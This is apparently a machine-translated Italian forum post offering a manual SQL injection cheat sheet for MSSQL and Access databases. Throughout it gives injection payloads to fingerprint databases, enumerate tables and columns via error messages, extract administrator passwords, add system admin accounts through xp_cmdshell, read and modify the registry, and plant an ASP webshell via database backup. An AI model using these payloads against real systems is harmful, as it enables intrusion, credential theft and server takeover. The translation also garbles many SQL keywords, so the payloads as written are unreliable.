|
|
Pubblicato su 22/11/2014 17:17:21
|
|
|

1. Determinare se esiste un'iniezione ; e 1=1 ; e 1=2
2. Giudizio preliminare se sia mssql ; e user>0
3. Giudicare il sistema di database ; e (select count(*) da sysobjects)>0 mssql ; e (select count(*) da msysobjects)>0 accesso
4. Il parametro di iniezione è un carattere 'e [criteri di interrogazione] e ''='
5. Non ci sono parametri filtrati durante la ricerca 'e [criteri di richiesta] e '%25'='
6. Indovina il nome del tavolo ; e (seleziona Count(*) da [nome tabella])>0
7. Indovina il campo ; e (seleziona Count(nome campo) dal nome della tabella)>0
8. Indovina la lunghezza del disco sul campo ; e (seleziona la lente top 1 (nome del campo) dal nome della tabella)>0
9. (1) Indovina il valore ASCII del campo (accesso) ; e (seleziona top 1 asc(mid(nome campo, 1,1)) dal nome della tabella)>0
(2) Indovina il valore ASCII del campo (mssql) ; e (seleziona top 1 unicode(substring(nome campo,1,1)) dal nome della tabella)>0
10. Struttura dei permessi di prova (mssql) ; e 1=(seleziona IS_SRVROLEMEMBER('sysadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('serveradmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('setupadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('securityadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('diskadmin')); -- ; e 1=(seleziona IS_SRVROLEMEMBER('bulkadmin')); -- ; e 1=(seleziona IS_MEMBER('db_owner')); --
11. Aggiungere un account per mssql e il sistema ; nome utente master.dbo.sp_addlogin esecutivo; -- ; exec master.dbo.sp_password null, username, password; -- ; username amministratore master.dbo.sp_addsrvrolemember executive; -- ; Executive master.dbo.xp_cmdshell 'Username Rete password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; -- ; Executive master.dbo.xp_cmdshell 'Username Rete password /Add'; -- ; EXEC master.dbo.xp_cmdshell 'Nome utente degli amministratori del gruppo locale nete /add'; --
12. (1) Attraversare il catalogo ; Create Table dirs (paths varchar(100), id int) ; inserisci regs executive master.dbo.xp_dirtree 'c:\' ; e (seleziona i primi 1 percorsi dalle dirs)>0 ; e (seleziona i primi 1 percorsi dalle dirs dove i percorsi non in('percorsi ottenuti dal passaggio precedente'))>)
(2) Attraversare il catalogo ; crea la temperatura della tabella (id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); -- ; inserire temporaneo esecutivo master.dbo.xp_availablemedia; -- Prendi tutti i dischi attuali ; inserire nel temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Ottenere una lista di sottodirectory ; inserire nel temp(id,num1) executive master.dbo.xp_dirtree 'c:\'; -- Ottenere la struttura dell'albero delle directory per tutte le sottodirectory ; inserire nell'executor temp(id) master.dbo.xp_cmdshell 'tipo c:\web\index.asp'; -- Visualizza il contenuto del file
13. Stored procedure in mssql xp_regenumvalues Chiave radice del registro, chiave figlia ; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' restituisce tutti i valori chiave in più record set xp_regread Chiave radice, chiave figlia, nome chiave-valore ; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion', 'CommonFilesDir' restituisce il valore della chiave di set xp_regwrite Chiave radice, chiave figlia, nome valore, tipo di valore, valore Esistono due tipi di valori REG_SZ REG_DWORD per i tipi di carattere e per gli interi ; exécute xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName', 'reg_sz', 'ciao' al registro xp_regdeletevalue Chiave radice, sottochiave, nome del valore exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' per rimuovere un valore xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' per rimuovere la chiave, inclusi tutti i valori sotto quella chiave
14. MSSQL Backup crea una webshell Usa il modello crea table cmd(immagine str); inserire in cmd(str) valori ('<% Dim oScript %>'); Backup del modello del database su disco='c:\l.asp';
15. Funzioni integrate di MSSQL ; e (seleziona @@version)>0 per ottenere il numero di versione di Windows ; e user_name()='dbo' per determinare se l'utente connesso del sistema attuale è SA ; e (seleziona user_name())>0 Ha fatto esplodere gli utenti connessi al sistema attuale ; e (seleziona db_name())>0 per ottenere il database attualmente connesso
Violazione del database annotato a mano di MSSQL
1. Esporre il nome attuale della tabella e del nome della colonna Invia "'having 1=1--" dopo il punto di iniezione per ricevere il messaggio di ritorno in inglese, in cui puoi vedere il nome di una tabella e il nome di una colonna. Invia "gruppo per nome della lista che ha 1=1--" per ottenere un altro nome di colonna; Continua a inviare "gruppo per l'elenco del nome della tabella esposta, il nome della tabella esposta. Il nome della seconda colonna ha 1=1--", che ti dà un altro nome di colonna. Fai commit allo stesso modo finché la pagina non restituisce più messaggi di errore per ottenere tutti i nomi delle colonne. Curiosità: I nomi violenti delle tabelle e dei nomi delle colonne vengono usati in combinazione con GROUP BY nelle istruzioni SQL per formulare giudizi condizionali. Poiché l'istruzione è incompleta, il database restituisce un messaggio di errore e mostra un nome di tabella e un nome di colonna. Il metodo base può esporre solo la tabella corrente nel database, e se una tabella contiene molti nomi di colonne, è molto difficile utilizzare il metodo base.
Primo. Tutti i nomi dei database sono esposti Usa l'istruzione "and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])" per esporre nomi di tabelle e colonne arbitrarie nel database, dove "[N]" rappresenta la N-esima tabella nel database. Passo 1: Dopo aver inserito il punto, inviare la seguente istruzione: "and 0<>(select count(*) from master.dbo.sysdatabases dove name>1 e dbid=12)", perché il valore di dbid va da 1 a 5, che è usato dal sistema, quindi l'utente deve averlo costruito da 6, e abbiamo inviato il nome>1, il campo nome è un campo di tipo carattere, e il confronto numerico sarà errato, quindi dopo l'invio, IE restituirà le seguenti informazioni: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] converte il valore nvarchar 'Northwind' in tipo di dato int colonna. In questo modo, il valore del campo nome viene esposto, cioè otteniamo un nome di database "Northwind". Cambiando il valore di "dbid" si possono ottenere tutti i nomi del database.
e 0<>(select count(*) da master.dbo.sysdatabases dove name>1 e dbid=[N])-- Modifica N per far esplodere tutti i nomi del database da 6
Secondo. Espone tutti i nomi delle tabelle nel database specificato Dopo aver ottenuto il nome del database, ora devi ottenere tutti i nomi delle tabelle nella libreria, invia la seguente istruzione: "and 0<>(seleziona top 1 name da master.dbo.sysobjects dove xtype='U')", qui c'è il nome della tabella nel database master, e l'istruzione SQL della query restituisce il valore del nome, poi confrontalo con il numero 0, così che il valore del nome venga esposto. Dopo la presentazione, il nome della tabella era "'spt_monito" fu rivelato. Poi vengono esposte le altre tabelle e viene inviata la seguente affermazione: "e 0<>(seleziona il nome top 1 da master.dbo.sysobjects dove xtype='U' e name not in('spt_monito'))", e un'altra tabella chiamata "cd512" viene esposta. File "e nome non in(' spt_monito',' CD512',..))" Puoi trovare tutti i nomi delle tabelle.
e 0<>(seleziona il nome top 1 da [specifica nome database].dbo.sysobjects dove xtype='U')-- e 0<>(seleziona il nome top 1 da [specifica nome database].dbo.sysobjects dove xtype='U' e name not in('[Nome della tabella esplosa]'))-- e 0<>(seleziona il nome top 1 da [specificare nome database].dbo.sysobjects dove xtype='U' e name not in('[Nome della tabella esplosiva]', '[Nome della seconda tabella esplosa]')))--
4. Esporre tutti i nomi delle colonne nella tabella specificata e 0<>(select count(*) da bbs.dbo.sysobjects dove xtype='U' e name='admin' e uid>(str(id))) Converti il valore ID in un tipo di carattere e poi confrontalo con un valore intero. Il numero ID è uscito. Il valore è: 949578421 nome='nome tabella'
e 0<>(seleziona il nome top 1 da wutong.dbo.syscolumns dove id=949578421)-- Un nome di campo nella tabella admin viene esposto
Resubmit e 0<>(seleziona il nome top 1 da wutong.dbo.syscolumns dove id=949578421 e name not in('adduser')))-- File "e nome non in(' spt_monito',' CD512',..))" Puoi trovare tutti i nomi dei campi nella tabella amministrativa.
e 0<>(select count(*) da [specificare nome database].dbo.sysobjects dove xtype='U' e name='[Nome della tabella del campo da esplodere]' e uid>(str(id)))--Il valore ID del nome della tabella del campo da esplosione
e 0<>(seleziona il nome top 1 da [specifica nome database].dbo.syscolumns dove id=valore di id esploso)-- Il nome di un campo nella tabella dei valori di id esplosivo
e 0<>(seleziona il nome top 1 da [specificare nome database].dbo.syscolumns dove id=Valore ed ID esplosivo e nome non in('[Nome campo esploso]')))--
5. Leggi i dati nella tabella specificata
e 0<(select A_ID da wutong.dbo.admin dove A_UserID>1) -- il contenuto che ha interrotto A_PWD
e 0<(seleziona [un campo che esiste] da [specifica nome database].dbo.[nome della tabella per la query] dove [nome campo per far esplodere contenuto]>1)--
e 0<(seleziona A_ID da wutong.dbo.admin dove A_PWD>1 e A_UserID='admin')-- La password dell'amministratore viene esposta
e 0<(Seleziona Top 1 A_UserID FROM admin dove A_ID<>1)-- Il nome amministratore di id<>1 (fuhao)
e 0<(Seleziona Top 1 A_UserID FROM admin dove A_ID <>1 e A_UserID <> 'fuhao')-- Il nome del secondo admin non <> uguale a (tuiguang)
e 0<(Seleziona Top 1 A_UserID DA admin dove A_ID <>1 e A_UserID <> 'fuhao' e A_UserID <> 'tuiguang')--
Dopo aver conosciuto il nome della tabella e della colonna del database, puoi usare la "query statement" per leggere qualsiasi informazione nel database. Ad esempio, se vuoi leggere i dati N-esimi in una colonna di una tabella, puoi inviare l'istruzione: "e (Seleziona Top 1 nome colonna FROM nome tabella dove id=[N])>1" ([N] rappresenta i dati N-esimi nella colonna), e puoi conoscere i dati desiderati dalle informazioni restituite da IE.
|
Precedente:Come nascondere un file rar compresso in un file jpgProssimo:Raccogli "Harry Potter" 1~7 Prendilo e condividilo Se non ti piace, non spruzzarlo
|